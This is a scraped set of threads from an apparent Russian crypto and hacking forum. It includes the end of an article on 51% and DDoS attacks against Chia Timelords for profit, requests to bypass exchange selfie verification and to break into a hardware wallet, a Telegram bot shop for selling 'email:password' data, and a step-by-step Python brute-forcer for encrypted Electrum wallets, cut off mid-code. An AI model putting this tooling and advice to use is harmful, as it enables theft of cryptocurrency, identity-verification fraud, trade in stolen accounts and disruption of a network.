Идеально, если он будет работать быстрее официальных.
При условии, что сеть Чиа максимально децентрализована, такая атака, предположительно, может даже оставаться некоторое время незамеченной, если в этом есть смысл – по крайней мере ее корыстная часть, особенно если замаскироваться «белыми» Повелителями времени.
Кроме того, потребуется также организовать и подготовить фермы, участвующие в атаке с учетом некоторых алгоритмов (предположительно) и довольно большое количество.

"Одна из замечательных особенностей нового консенсуса Chia заключается в том, что он делает почти невозможным для фермера с более быстрым Повелителем времени совершение злономеренных действий (атак)" - так считают девелоперы Из-за того, как работает новый консенсус, фермер с более быстрым Повелителем Времени в основном вынужден доказать время всем фермерам, выигравшим блоки вокруг него.
Наличие «злого», более быстрого Timelord-а может дать преимущество при попытке атаковать сеть на 51%, "поэтому по-прежнему важно, чтобы со временем мы приближали скорости Timelord к максимальным скоростям"- пишут разработчики. И далее:
"Мы рассчитываем, что у нас будет время и ресурсы, чтобы сделать это правильно и сделать версии оборудования с открытым исходным кодом широко доступными"
Самый интересный момент. Захват, управление Повелителем Времени – это практически контроль над всем криптопроектом.
Неудивительно, если кто-то это все же осуществит. (об успешно реализованной атаке 51% в блокчейне "шиткойна" я возможно расскажу позже, в другом месте)

5. DDOS

Ддос повелителей времени (а их сейчас мало), т.е. серверов VDF, способно парализовать работу всей сети, блокчейна на основе пиринговой сети. По моему разумению - именно ТаймЛорды - слабое звено в модели Коэна.
Что может дать ддос-атака на избранные машины?
Замедление или остановку работы - технический момент. Падение курса валюты - экономический момент, репутационные издержки - маркетинговый, инвестиционный момент.
Как это можно использовать для заработка? - возможно так, как делают локеры - найти кому выгодно и опустить конкурентов, либо играть в шорты (дамп).

Что касается остальных атак, типичных для блокчейн-проектов, они разбираются в этом документе: Chia Consensus.
_ttps://docs.google.com/document/d/1tmRIb7lgi4QfKkNaxuKOBHRmwbVlGL4f7EsBDr_5xZE/edit#heading=h.73fjjy2raz0e

Авторы, разработчики, стараются показать несостоятельность попыток повторить что-то из вышеперечисленных известных схем для блокчейна чиа. Так ли это на самом деле – покажет время.
Список атак на блокчейн интересен. Статей, посвященных подробному анализу каждого вида атак, в рунете мало.

Источники
1. Сайт, посвященный обзору криптовалюты. https://chia-network.ru
2. consensus. Официальная документация. http://docs.google.com/document/d/1tmRIb7lgi4QfKkNaxuKOBHRmwbVlGL4f7EsBDr_5xZE/edit
3. Фарминг CHIA. <https://cchia.ru/rukovodstvo-po-farmingu-chia-i-oshibki- nachinayushhix-majnerov/>
4._Фарминг CHIA. Оптимизация оборудования. [https://miningclub.info/threads/skr...judenija-i-vozmozhnye-puti- optimizacii.82301/](https://miningclub.info/threads/skromnyj-post-pro-chia- texnicheskie-nastrojki-nabljudenija-i-vozmozhnye-puti-optimizacii.82301/)
5. Принцип работы VDF -серверов. Verifiable Delay Functions Dan Boneh, Joseph Bonneau, and Ben Fisch. Stanford University. New York University June 26, 2019.

https://eprint.iacr.org/2018/601.pdf

6. Описание работы серверов VDF. Программная часть. Официальный софт. https://github.com/Chia-Network/chia-blockchain/wiki/Timelords
7. Обзор защищенности chia блокчейна от известных блокчейн-атак. Информация разработчиков. Chia Consensus.
_ttps://docs.google.com/document/d/1tmRIb7lgi4QfKkNaxuKOBHRmwbVlGL4f7EsBDr_5xZE/edit#heading=h.73fjjy2raz0e
8. Chia 分布式部署详细文档,Chia架构模块结构 Подробная документация по распределенному развертыванию Chia, структура модуля архитектуры Chia в крупнейшем китайском пуле huobi

https://www.2yamaha.com/chia/268.html

Перевод:

[ Chia 分布式部署详细文档,Chia架构模块结构_chia币_二哈财经网

](https://xj6ckjmfzxeaoonb4qolpersae-ac4c6men2g7xr2a-www-2yamaha- com.translate.goog/chia/268.html)

最近社区很多小伙伴来询问Chia分布式部署的方法,那我们今天就写一下Chia分布式的步骤以及测试环境验证分布式的逻辑下面我们详细说下分布式拆分原理以及注意事项下面是Chia架构模块结构简单说每个模块都是单独的程序,都是通过TCP连接的,对于Chia Gui程序,默认运行...

xj6ckjmfzxeaoonb4qolpersae-ac4c6men2g7xr2a-www-2yamaha- com.translate.goog xj6ckjmfzxeaoonb4qolpersae-ac4c6men2g7xr2a-www-2yamaha-com.translate.goog

9. Сайт, с исследовательскими работами по методологии построения VDF серверов. https://vdfresearch.org/
10. chia 矿池bug - заметка о мошенничестве пулов (кит)

zhuanlan.zhihu.com

chia 矿池bug

大家好,我是卖片挖矿 先说bug 理论上 两台机器同样的plot文件 双挖 矿池检测不到 理论 矿池无法从服务端检测块在网络上的有效性 参考下面 意思就是 只要你跑同样的plot文件 在两个不一样的电脑上 虽然实际只有一…

![zhuanlan.zhihu.com](/proxy.php?image=https%3A%2F%2Fstatic.zhihu.com%2Fheifetz%2Fassets%2Fapple- touch- icon-152.81060cab.png&hash=fd1bd0c258ecb988664a01696a3ae883&return_error=1) zhuanlan.zhihu.com

11. Сайт, обзор chia, eng https://chiadecentral.com/
12. Сайт со статистикой, данными по CHIA: https://www.chiaexplorer.com/charts/netspace

Можно добавить, что существует немало коммьюнити, ориентированных на chia: группы в reddit, пикабу, оф. форум, неофициальные, огромные ветки обсуждения на форуме майниг-клуб, тг-каналы и тд и тд

Верификация на криптобиржах (селфи) через эмулятор.
ID: 67686ad7b4103b69df379a15
Thread ID: 51924
Created: 2021-05-19T08:01:09+0000
Last Post: 2021-06-21T23:57:04+0000
Author: Vidmar
Replies: 13 Views: 2K

Всех приветствую.
У кого получается в настоящее время проходить верификацию через эмуляцию вебкамеры с виртуалки андроида?
Есть приложение, которое позволяет изображение подгонять под рамки детекта (овал или круг на странице верификации, куда надо подставить изображение), морда на изображении распознается, загружается, все ок, но на выходе (после загрузки изображения) прилетает ответ , что изображение нераспознано, нейросеть почему-то дает отбой.
Реально обойти? У кого получается?

Exodus 700к рублей
ID: 67686ad7b4103b69df379a19
Thread ID: 52472
Created: 2021-06-03T18:12:16+0000
Last Post: 2021-06-09T12:11:27+0000
Author: HopeZ
Replies: 6 Views: 2K

1622743904766.png1622743915496.png
Тут Hardware Wallet, есть идеи что сделать? Накину за помощь

Подскажите нормальные сигналы по крипте?
ID: 67686ad7b4103b69df379a1b
Thread ID: 51298
Created: 2021-04-30T23:31:52+0000
Last Post: 2021-05-26T09:32:10+0000
Author: BilliMIlligan
Replies: 25 Views: 2K

Всем привет,слышу часто на просторах рунета о том что есть МЕГА-КРУТЫЕ группы с сигналами которые делают не слабые %,сам никогда не вникал в это всё,по этому хотелось бы услышать мнениеэкспертов, можетбыть такое или это очередное каперство?Если у кого есть такие и он может поделиться под свою ответственность буду благодарен и готов поделится с первых иксов,если такие будут )

Find Bitcoin address owner
ID: 67686ad7b4103b69df379a1d
Thread ID: 43906
Created: 2020-11-04T13:09:15+0000
Last Post: 2021-05-21T20:01:28+0000
Author: bx70
Replies: 5 Views: 2K

Now i want to ask a question.
How does the investigation work> where to start?
wat to look for
I want to know how to trace a bitcoin address back to its owner ... what tools needed
I have been seeing online that it is possible to trace the address back to its real owner anyone with an idea.
In the meantime, there is no need to worry about it. ”

Принимаем платежи в биткоинах или телеграмм-бот автопродаж
ID: 67686ad7b4103b69df379a21
Thread ID: 51775
Created: 2021-05-14T16:34:19+0000
Last Post: 2021-05-17T17:20:58+0000
Author: tabac
Prefix: Статья
Replies: 1 Views: 2K

Введение​

Данная статья написана мной(KONUNG), специально для конкурса на Exploit.in, здесь я рассмотрю вопрос создания Telegram-бота автопродаж с оплатой товаров биткоинами. Я буду использовать NodeJS, MySQL, Blockchain. Я решил взять NodeJS потому что, он преимущественно создан для серверов. Те кто знают другие ЯП, без проблем могут за пару часов освоить основы JS и свичнуться на него. До этого мне не приходилось писать телеграмм ботов, но посидев пару тройку деньков все стало очень просто. В интернете куча материалов как установить NodeJS и MySQL, поэтому я не буду тратить на это время, демонстрируя полную установку.

Концепция​

Концепция бота следующая, клиент запускает бота, дальше у него есть две команды на выбор: /showproducts - показать продукты, /checkorder - проверить статус заказа. При просмотре всех продуктов клиент будет получать ID, имя, описание, цену(в долларах), количество товара в наличии и снизу под сообщением инлайновая кнопочка "Купить". Все что ему нужно будет сделать это нажать на кнопку купить, получить ID заказа и реквизиты для пополнения, оплатить и проверить статус заказа по его ID.

После того как клиент будет нажимать “Купить” нам будет прилетать ID товара и его цена в долларах, затем мы просто пересчитываем по текущему курсу, подбираем свободный для оплаты адресс, добавляем данные в бд и N-количество минут будем проверять прошла ли оплата, если оплата прошла будет добавлять в таблицу с ордерами продукт, по истечении определенного времени (90 минут в нашем случае) в случае не оплаты ордера он будет удаляться из бд, что бы не захламлять базу. Так же у нас будет админка со своими командами для добавления/удаления продуктов и т.д.

Создание и настройка бота​

Первое что мы сделаем, это получим токен бота для дальнейшей работы. Находим в телеграмме botfather, запускаем его и пишем /newbot после чего он попросит дать название боту, а затем и юзернейм по которому его будут находить другие пользователи, юзернейм обязательно должен заканчиваться на bot, когда все будет сделано вы получите токен для доступа к боту, никому не пересылайте этот токен, это чревато компрометация вашего магазина. Небольшой список второстепенных настроек, которые вы можете сделать:

Далее устанавливаем основные команды для бота которые будут видны пользователю, сначало отправляем бате ботов /setcommands, выбираем там нашего бота и отправляем ему следующие команды одним сообщением:

Ну вот впринципе и все настройки бота.

База данных​

Теперь самое интересное, база данных, тут все проще чем может показаться на первый взгляд, я назвал свою бд my_store , у нас будет три таблицы: my_order, my_products, my_productsinfo. SQL не так хорошо знаю, по-этому возможно где-то можно было оптимизировать таблицы. Команда для создания таблиц:

Code:Copy to clipboard

CREATE TABLE my_products( -- здесь будут сами товары
    product_id INT NOT NULL,
    product_data VARCHAR(255) NOT NULL
    );

CREATE TABLE my_productsinfo( -- здесь будет информация о самих товарах
    product_id INT NOT NULL AUTO_INCREMENT,
    name VARCHAR(255) NOT NULL,
    description VARCHAR(255) NOT NULL,
    price INT NOT NULL,
    PRIMARY KEY(product_id)
    );

CREATE TABLE my_orders( -- здесь будут храниться непосредственно сами заказы
    order_id CHAR(32) CHARACTER SET 'latin1' NOT NULL
    address VARCHAR(255) NOT NULL,
    status VARCHAR(255) NOT NULL,
    price FLOAT(8,8) NOT NULL,
    product_id INT NOT NULL,
    product_data VARCHAR(255),
    order_data TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    );

Бот​

Пришло время писать код нашего бота, и начнем пожалуй с создания конфиг файла (config.js) в котором будут храниться настройки нашего магазина.

Code:Copy to clipboard

module.exports = {
    authToken: "1701858052:AAGWYQ5Kp-4EiOi_9GJKBXqMYj3UrIzXHhk", 
    MySQL: {
        client: "mysql",
        connection: {
            host: "127.0.0.1",
            user: "root",
            password: "",
            database: "my_store"
        }
    },
    adminChatId: 437619229,
    xPub: 'xpub6FBEgyfiZ79TbeZdgo39Ahr4pRQaoqJMAs7mQNV8MLPaHB19PX7PMhPP12Hjp32jduEA2rQ93DNYgtzm92ZAUizKdUAGWnYdxWCmJwNCtpK'
}

Тут не так уж и много настроек, первое authToken это токен бота который мы получили на этапе создания бота в botfather просто вставляем свой токен и все. Далее настройка соединения с бд, тут мы указываем адресс хоста, имя пользователя, пароль и название базы данных если оно отличается. Что бы узнать свой ID чата, нужно отправить нашему боту /echo, дальше вы увидите это в коде.

xPub а вот это уже штучка поинтереснее, xPub - это расширенный открытый ключ. Он является частью стандарта биткоина BIP32. Если у вас есть xPub ключ, единственное что вы можете сделать это генерировать адреса, но уже без приватных ключей к ним, в нашем случае это очень удобно, так как если кто-то вдруг взломает ваш сервер и будет видеть код который выполняется, он не сможет спиздить ваши бетки, максимум что он сможет сделать это ~~пососать яйца~~ облизнуться при виде того сколько вы продали и на какую сумму, так уж устроен xPub. Где взять? В https://www.blockchain.com/, регистрируем там себе новый аккаунт, специально для нашего магазинчика и переходим в Настройки->Кошельки и адреса->Мой кошелек Bitcoin->Управлять->Дополнительные опции->Показать xPub, вуаля, вот и ваш xPub. Я выбрал Blockchain потому что это удобно и просто, да и вы 100% слышали об этом кошельке. Дальнейшие коментарии будут в коде.

PHP:Copy to clipboard

const conf = require('./Config') //
const MD5 = require("md5")
const {Telegraf, Markup} = require('telegraf')
const bot = new Telegraf(conf.authToken)
const knex = require('knex')(conf.MySQL)
const Axios = require('axios')
const bjs = require('bitcoinjs-lib');
const XPubGenerator = require('xpub-generator').XPubGenerator;

const TenMinutes = 10 * 60 * 1000 //Интервал с которым мы будем проверять коши на оплату
var Status = 'Sleep' //Текущее действие в админке
var checkorder = [] //Массив в котором будут храниться id чатов для проверки ордеров, дальше поймете
var Product = {
    Name: '',
    Description: '',
    Price: 0
}

bot.start(ctx => { //Собственно привественное сообщение, при старте бота
    ctx.reply(`Добро пожаловать ${ctx.message.from.first_name}, рад приветствовать тебя в моем магазине\n/showproducts - Просмотр всех продуктов \n/checkorder - Проверить статус заказа`)
})

bot.help( ctx => ctx.reply('/showproducs - Просмотр всех продуктов \n/checkorder - Проверить статус заказа'))

 /* Команды для покупателей*/

async function calcPrice(price){ //Эта функия будет пересчитывать $ в BTC по текущему курсу
    try{
        let response = await Axios.get(`https://web-api.coinmarketcap.com/v1/tools/price-conversion?amount=${price}&convert_id=1&id=2781`)
        return Number(response.data.data.quote['1'].price.toFixed(8)) 
    } catch(err){
        return 'Error'
    }     
}

async function getBalance(address){ //Функция проверки баланса
    try{
        let response = await Axios.get(`https://chain.api.btc.com/v3/address/${address}`)       
        return {received: Number((response.data.data.received * 0.00000001).toFixed(8)), unconfirmed: Number((response.data.data.unconfirmed_received * 0.00000001).toFixed(8))}
    } catch(err){
        return {received: 'Error', unconfirmed: 'Error'}
    }
}

bot.on('callback_query', async ctx =>{//Событие которое срабатывает при нажатии на кнопку купить
    try{
        let t = ctx.update.callback_query.data.split('$') //тут мы сплитаем дату которая вложена в кнопку которую нажали
        let summa = await calcPrice(t[1]) //считаем цену
        if (summa === 'Error') throw new Error('Во время просчета цены произошла ошибка')         
        let didi = -1
        let addresses = []
        for (let addr of await knex('my_orders').select('address')) addresses.push(addr.address) //вытаскиваем из бд btc-адресса заказов       
        
        do {
            didi++
            t_address = new XPubGenerator(conf.xPub, bjs.networks.bitcoin).nthReceiving(didi)   
        } while (addresses.includes(t_address)) //По xPub генерируем адреса до тех пор пока не попадется тот которого нет в бд
        
        let Arra = {
            order_id: MD5(Date.now().toString+ctx.update.callback_query.id), //Уникальный ID заказа по которому в итоге клиент будет находить заказ
            address: t_address,
            status: 'В ожидании оплаты',           
            price: summa,                   
            product_id: t[0],
            product_data: 'Будет доступно после оплаты'       
        }
        await knex('my_orders').insert(Arra) //Создаем ордер
        ctx.reply(`Ваш заказ находится в обработке, в случае не оплаты в течении полутора часа, заказ будет ликвидирован. \nID заказа: ${Arra.order_id}\nРеквизиты для оплаты: ${Arra.address}\nСумма к оплате: ${Arra.price}\nВы можете проверить статус вашего заказа отправив отправив команду /checkorder`)
    } catch(err){
        ctx.reply('Произошла ошибка попробуйте позднее')
    }
})

bot.command('/showproducts', ctx =>{ //ответ на команду показать продукты
    knex.select().from('my_productsinfo')
    .then( resp =>{
        for (let product of resp){
            knex('my_products').where({product_id: product.product_id}).count({count: '*'})
            .then( resp => ctx.reply(`ID: ${product.product_id}\nName: ${product.name}\nDescription: ${product.description}\nPrice: ${product.price}$\nCount: ${resp[0].count}`,
                Markup.inlineKeyboard([Markup.button.callback('Купить', `${product.product_id}$${product.price}`)]) )) //Дата в кнопке это ID$Price продукта
            .catch( err => ctx.reply('Произошла ошибка при получении товаров'))           
        }
    })
    .catch(err => ctx.reply('Ошибка при получении списка продуктов'))
})

bot.command('/checkorder', ctx =>{ //Переводим пользователя в режим проверки ордера
    checkorder.push(ctx.message.chat.id)
    ctx.reply('Введите ID заказа')
})

bot.on('text', async (ctx, next) =>{ //Это событие срабатывает на все текстовые сообщения
    if (checkorder.includes(ctx.message.chat.id)){ //Собственно если чат в режиме проверки заказа выполняется следующий код       
        const STF = await knex('my_orders').where({order_id: ctx.message.text})
        if (STF[0] == undefined){           
            ctx.reply('Ордер не найден')
        } else {                             
            ctx.reply(`ID заказа: ${STF[0].order_id}\nID продукта: ${STF[0].product_id}\nРеквизиты: ${STF[0].address}\nСумма к оплате: ${STF[0].price}\nСтатус: ${STF[0].status}\nТовар: ${STF[0].product_data}`)
        }                   
    checkorder.splice(checkorder.indexOf(ctx.message.chat.id), 1) //Удаляем из массива, соответственно статус проверки заказа убирается                           
    }
    next()
})

bot.command('/echo', ctx =>{ //Эта команда нужна что бы узнать id чата с нами, после того как укажите нужный id в конфиге можете удалять эту команду
  ctx.reply(ctx.message.chat.id) 
})

/* Команды для администратора*/

bot.use((ctx, next) =>{ //Интересная вещь, middleware, те кто юзал фреймворк Express, точно знают что это за штучка
    if (ctx.message.chat.id === conf.adminChatId) next() // Если мы из чата администратора то едем дальше и выполнятся следующие функции
})

bot.command('/cancel', ctx =>{
    Status = 'Sleep' //Отменяем текущие операции
    ctx.reply('Все текущие операции были отменены')
})

bot.command('/addproduct', ctx =>{
    Status = 'AddProduct_N' //перехоим в режим добавления продукта
    ctx.reply('Укажите название товара')     
})

bot.command('/addproductdata', ctx =>{
    Status = 'AddProductData' //добавляем сами продукты
    ctx.reply('Отправьте Данные для добавления в формате ID$ProductData\nНапример 3$email:password')     
})

bot.command('/showproductdata', ctx =>{
    knex('my_products').select() //Показывает все товары которые есть на продажу
    .then( resp => ctx.reply(resp))
    .catch( err => ctx.reply('Произошла ошибка'))
})

bot.command('/delproductdata', ctx =>{
    Status = 'DelProductData' //Переходим в режим удаления какой-то определенного продукта из таблицы my_products
    ctx.reply('Отправьте данные о продукте который хотите удалить в следующем формате ID$ProductData')         
})

bot.command('/delproduct', ctx =>{
    Status = 'DelProduct' //Удаляем продукты которые видит клиент
    ctx.reply('Отправьте ID продукта который хотите удалить') 
})

bot.on('text', ctx =>{ //Обрабатывает то что мы вводим, то что вводит админ
    switch(Status){ //То что находится в этом свиче я описал выше
        case 'DelProduct':
            Status = 'Sleep'
            knex('my_productsinfo').where({product_id: ctx.message.text}).del()
            .then( resp => ctx.reply('Товар Успешно удален'))
            .catch( err => ctx.reply('Во время удаления произошла ошибка'))
            break
        case 'AddProduct_N':
            Status = 'AddProduct_D'
            Product.Name = ctx.message.text
            ctx.reply('Укажите описание товара')
            break   
        case 'AddProduct_D':
            Status = 'AddProduct_P'
            Product.Description = ctx.message.text
            ctx.reply('Укажите цену товара')
            break
        case 'AddProduct_P':
            Status = 'Sleep'
            Product.Price = parseInt(ctx.message.text)
            knex('my_productsinfo').insert({name: Product.Name, description: Product.Description, price: Product.Price})
            .then( resp =>ctx.reply('Товар успешно добавлен'))
            .catch( err => ctx.reply('Произошла ошибка во время добавления товара'))
            break
        case 'AddProductData':
            Status = 'Sleep'
            let t = ctx.message.text.split('$')
            knex('my_products').insert({product_id: t[0], product_data: t[1]})
            .then( resp => ctx.reply('Продукт успешно добавлен в БД'))               
            .catch( err => ctx.reply('Во время добавления в БД произошла ошибка'))               
            break   
        case 'DelProductData':
            Status = 'Sleep'
            let t = ctx.message.text.split('$')
            knex('my_products').where({product_id: t[0], product_data: t[1]}).del()
            .then( resp => ctx.reply('Продукт успешно удален'))           
            .catch( err => ctx.reply('Во время удаления произошла ошибка'))
            break
    }
})


bot.launch().then( () =>{ //Собственно стартуем нашего бота
    console.log('Bot Started!')
    let timerId = setInterval( async () => { //После старта запускаем таймер который будет срабатывать каждые 10 минут, для проверки ордеров и удаления лишнего     
        my_orders = await knex('my_orders').whereNot({status: 'Выполнен'}).select('address', 'status', 'price', 'product_id', 'order_data')
        for (let order of my_orders){ //Получаем заказы которые не выполнены и проходимся по каждому из заказов
            let balance = await getBalance(order.address)
            if (balance.received >= order.price){ //Если есть баланс то собственно изменяем статус, и закидываем продукт
                let response = await knex('my_products').where({product_id: order.product_id})
                if (response != 0){
                    await knex('my_products').where({product_id: response[0].product_id, product_data: response[0].product_data}).del()
                    await knex('my_orders').where({address: order.address}).update({status: 'Выполнен', product_data: response[0].product_data})
                }
            } else if (balance.unconfirmed  >= order.price){ //Смотрим есть ли не подтвержденные ордеры
                await knex('my_orders').where({address: order.address}).update({status: 'В ожидании подтверждений'})
            } else if (balance.received != 'Error'){ //Удаляем лишние ордеры если прошло 90 и больше минут с момента его создания
                if (order.order_data.setMinutes(order.order_data.getMinutes()+90) <= new Date ){
                    await knex('my_orders').where({address: order.address}).del()
                }
            }     
        }       
    }, TenMinutes)
})

Запускаем бота, добавляем чат с самим собой в админку, добавляем продукты в лист, командой /addproduct и добавляем сами товары командой /addproductdata. Все, магазин запущен, можно смело продавать.

Заключение​

Как вы можете видеть из статьи, гениальные вещи иногда очень просты. Мы с вами прошли по пути меньшего сопротивления и упростил все до невозможности, проще уже некуда. Можно прикрутить что бы бот там картинки выдавал или принимал оплату в другой крипте, но это уже на ваше усмотрение, я же не стал ничего этого делать, что бы оставить непринужденность и легкость, показал концепт, основные моменты и собственно что из этого всего получается. С радостью почитал бы что вы думаете об этом всем, возможно во время чтения у вас появились какие-либо вопросы, задавайте - отвечу, так же принял бы здравую критику. Перед запуском не забудьте инициализировать проект командой npm i в консоли, в случае если вы сами будете вручную переписывать, не забывайте устанавливать требующиеся фреймворки вручную.

Ссылки и источники​

Ссылка на архив со всеми исходами проекта - КЛАЦ

Источник
Автор KONUNG

Важные валюты для вас?
ID: 67686ad7b4103b69df379a23
Thread ID: 49835
Created: 2021-03-25T06:59:34+0000
Last Post: 2021-05-11T18:14:02+0000
Author: peacemaker
Replies: 18 Views: 2K

Привет парни, мы тут решили добавить по мимо биткоин другие валюты на сервис и в кошелек. Какие бы вы хотели там увидеть?

Вскрываем encrypted Electrum Wallets методом грубой силы
ID: 67686ad7b4103b69df379a24
Thread ID: 51595
Created: 2021-05-10T13:02:01+0000
Last Post: 2021-05-10T13:02:01+0000
Author: baykal
Prefix: Статья
Replies: 0 Views: 2K

BruteForce encrypted Electum Wallets. Python coding. Have Fun!

Доброго времени суток, дорогие форумчане! Я не силен в написании статей и никогда не работал журналистом, поэтому, предположительно, статья не будет произведением литературного искусства, но мне это и не нужно, моя цель - донести до вас техническую часть как можно прозрачнее. Мы проведем небольшое исследование Electrum Bitcoin Wallet (далее EBW), а именно:

Если Вы решили, что данная тема будет интересна для Вас, тогда - приступим. Сварите свой любимый кофе и поехали ...

PS: Я буду использовать OS Ubuntu 18.04, Python 3.6.9, Sublime Text 3 для разработки нашего брутфорсера.

1. Создание проекта

Для начала скачаем Electrum-4.x.x.tar.gz (<https://electrum.org/panel- download.html>) python source и распакуем (я буду использовать версию 4.1.2):

Code:Copy to clipboard

cd ~/Downloads && tar -xf Electrum-4.1.2.tar.gz && cd Electrum-4.x.x && ls -w1

И имеем:

Code:Copy to clipboard

AUTHORS
contrib
electrum
electrum.desktop
Electrum.egg-info
LICENCE
MANIFEST.in
packages
PKG-INFO
README.rst
RELEASE-NOTES
run_electrum
setup.cfg
setup.py

Для проекта нам понадобится только содержимое директории "electrum". В данной директории содержится весь, нужный нам python код который мы будем использовать для построения нашего брутфорсера.
Давайте создадим рабочую директорию:

Code:Copy to clipboard

mkdir ~/EBW_bf
mkdir ~/EBW_bf/src
cp -r ~/Downloads/Electrum-4.1.2/electrum ~/EBW_bf/
cd ~/EBW_bf

Будем работать в виртуальном python-окруженни, поэтому в директории с поектом сделаем следующее:

Code:Copy to clipboard

python3 -m venv ./venv && source ./venv/bin/activate

PS: Я обращаюсь python модулям через -m, т.к. для меня интуитивно понятнее к какой версии python я обращаюсь.

Все подготовлено, можно приступать к написанию кода, а вернее к копипасту из исходников Electrum. Для начала ознакомимся с самим процессом расшифровки кошелка, я обозначу ее в виде схемы:

2. Кодинг
Начнем с main.py

Здесь нам понадобится класс WalletStorage, который и будет содержать методы расшифровки нашего кошелька. Я буду игнорировать ненужные нам методы, т.к. мы сосредоточимся только на проверке пароля. Чтобы понять, как организована инициализация кошелька в Electrum обратимся к electrum/storage.py, а конкретно, к классу WalletStorage. При проверке пароля (ключа) Electrum инициализирует класс WalletStorage и вызывает из него метод check_password(), который вызывает метот decrypt(). Так.. не очень понятно, как мне кажется. Давайте запишем эту конструкцию псевдокодом для большей ясности:

Code:Copy to clipboard

init class WalletStorage('path_to_walet') --> check_password(password) --> decrypt(password)

Более-менее...
В итоге я пришел к такому началу:

Code:Copy to clipboard

import hashlib
import sys
import os

from src import ecc

class WalletStorage(object):
    def __init__(self, path):
        
        self.path = os.path.join( os.path.dirname(os.path.realpath(__file__)), path)
        self._file_exists = bool(self.path and os.path.exists(self.path))
        self.pubkey = None
        self.decrypted = ''

        with open(self.path, "r", encoding='utf-8') as f:
            self.raw = f.read()

    def _get_encryption_magic(self):
        return b'BIE1'

    def decrypt(self, password) -> None:
        ec_key = self.get_eckey_from_password(password)
        
        s = False
        if self.raw:
            enc_magic = self._get_encryption_magic()
            s = ec_key.decrypt_message(self.raw, enc_magic)
        if s:
            print('[+] %s' % password)

    def check_password(self, password) -> None:
        self.decrypt(password)

    @staticmethod
    def get_eckey_from_password(password):
        secret = hashlib.pbkdf2_hmac('sha512', password.encode('utf-8'), b'', iterations=1024)
        ec_key = ecc.ECPrivkey.from_arbitrary_size_secret(secret)

        return ec_key

def main():

    # get wallet name for args
    wallet_name = None
    if len(sys.argv) != 2:
        print('Usage: %s <wallet_name>' % sys.argv[0])
        exit()
    else:
        wallet_name = sys.argv[1]
        if not os.path.exists(wallet_name):
            print('Wallet not found in current directory.')
            exit()

    # init wallet
    wallet = WalletStorage(wallet_name)

    for password in ['test1', 'passwordTest2']:
        wallet.check_password(password)

if __name__ == "__main__":
    main = main()

Метод decrypt использует следующие методы:

  1. get_eckey_from_password - получение EC_KEY из секрета. Метод возвращает объект класса ECPrivkey к которому мы обратимся позже.
  2. get_encryption_magic - получение способа шифрования (пароль, ключ и пр). Можете заметить, что я сократил этот метод до return b'BIE1', т.к буду рассматривать только способ шифрования по паролю. BIE1 - первые 4 символа кошелька, отвечающие за способ шифрования (сделайте base64 decode если не доверяете)

Следующим шагом рассмотрим методы класса ECPrivkey, а конкретно, метода decrypt_message, который и даст нам желаемое ДА или НЕТ при проверке пароля. Начнем по-порядку: первым у нас вызывается метод decrypt(password)--> get_eckey_from_password(password) который обращается к методу ecc.ECPrivkey.from_arbitrary_size_secret(secret)

Давайте создадим файл ecc.py в рабочей директории src, который и будет содержать класс ECPrivkey:

PS: я соблюдаю аналогичные обазначения имен файлов с проектом electrum, что бы не возникло путаницы.

должно получится так:

Code:Copy to clipboard

electrum
venv
main.py
src
├── ecc.py
└── __init__.py

В init.py обозначим наш ecc.py
init.py

Code:Copy to clipboard

from . import ecc

Приступим к формированию ecc.py: на этом этапе нам понадобятся классы ECPubkey и ECPrivkey с необходимым для наших целей набором методов.

Первым делом, у нас вызвается статичный метод класса: ECPrivkey.from_arbitrary_size_secret(secret), давайте посмотрим что там происходит: обратимся к electrum/ecc.py

Опять все запутанно... давайте запишем в читабельном виде:

Code:Copy to clipboard

from_arbitrary_size_secret() --> init class ECPrivkey(какой-то скаляр) --> init class ECPubkey(что-то нечеловеческое).

Т.е. статичный метод from_arbitrary_size_secret инициализирует класс ECPrivkey, кторый в свою очередь при инициализации инициализирует класс ECPubkey (GENERATOR).

Давайте все оформим:

ecc.py

Code:Copy to clipboard

from typing import Union, Tuple, Optional
from ctypes import (
    byref, c_byte, c_int, c_uint, c_char_p, c_size_t, c_void_p, create_string_buffer,
    CFUNCTYPE, POINTER, cast
)
import base64
import hashlib

from src.util import assert_bytes
from src.ecc_fast import _libsecp256k1, SECP256K1_EC_UNCOMPRESSED
from src.crypto import hmac_oneshot

def string_to_number(b: bytes) -> int:
    return int.from_bytes(b, byteorder='big', signed=False)

def is_secret_within_curve_range(secret: Union[int, bytes]) -> bool:
    if isinstance(secret, bytes):
        secret = string_to_number(secret)
    return 0 < secret < CURVE_ORDER

def _x_and_y_from_pubkey_bytes(pubkey: bytes) -> Tuple[int, int]:
    assert isinstance(pubkey, bytes), f'pubkey must be bytes, not {type(pubkey)}'
    
    pubkey_ptr = create_string_buffer(64)
    ret = _libsecp256k1.secp256k1_ec_pubkey_parse(
        _libsecp256k1.ctx, pubkey_ptr, pubkey, len(pubkey))
    if not ret:
        raise InvalidECPointException('public key could not be parsed or is invalid')

    pubkey_serialized = create_string_buffer(65)
    pubkey_size = c_size_t(65)
    _libsecp256k1.secp256k1_ec_pubkey_serialize(
        _libsecp256k1.ctx, pubkey_serialized, byref(pubkey_size), pubkey_ptr, SECP256K1_EC_UNCOMPRESSED)
    pubkey_serialized = bytes(pubkey_serialized)
    assert pubkey_serialized[0] == 0x04, pubkey_serialized
    x = int.from_bytes(pubkey_serialized[1:33], byteorder='big', signed=False)
    y = int.from_bytes(pubkey_serialized[33:65], byteorder='big', signed=False)
    return x, y

class ECPubkey(object):
    
    def __init__(self, b: Optional[bytes]):
        if b is not None:
            assert isinstance(b, (bytes, bytearray)), f'pubkey must be bytes-like, not {type(b)}'
            if isinstance(b, bytearray):
                b = bytes(b)
            self._x, self._y = _x_and_y_from_pubkey_bytes(b)
        else:
            self._x, self._y = None, None

    def is_at_infinity(self):
        return self == POINT_AT_INFINITY

    def x(self) -> int:
        return self._x

    def y(self) -> int:
        return self._y

    def get_public_key_bytes(self, compressed=True):
        if self.is_at_infinity(): raise Exception('point is at infinity')
        x = int.to_bytes(self.x(), length=32, byteorder='big', signed=False)
        y = int.to_bytes(self.y(), length=32, byteorder='big', signed=False)
        if compressed:
            header = b'\x03' if self.y() & 1 else b'\x02'
            return header + x
        else:
            header = b'\x04'
            return header + x + y

    def _to_libsecp256k1_pubkey_ptr(self):
        pubkey = create_string_buffer(64)
        public_pair_bytes = self.get_public_key_bytes(compressed=False)
        ret = _libsecp256k1.secp256k1_ec_pubkey_parse(
            _libsecp256k1.ctx, pubkey, public_pair_bytes, len(public_pair_bytes))
        if not ret:
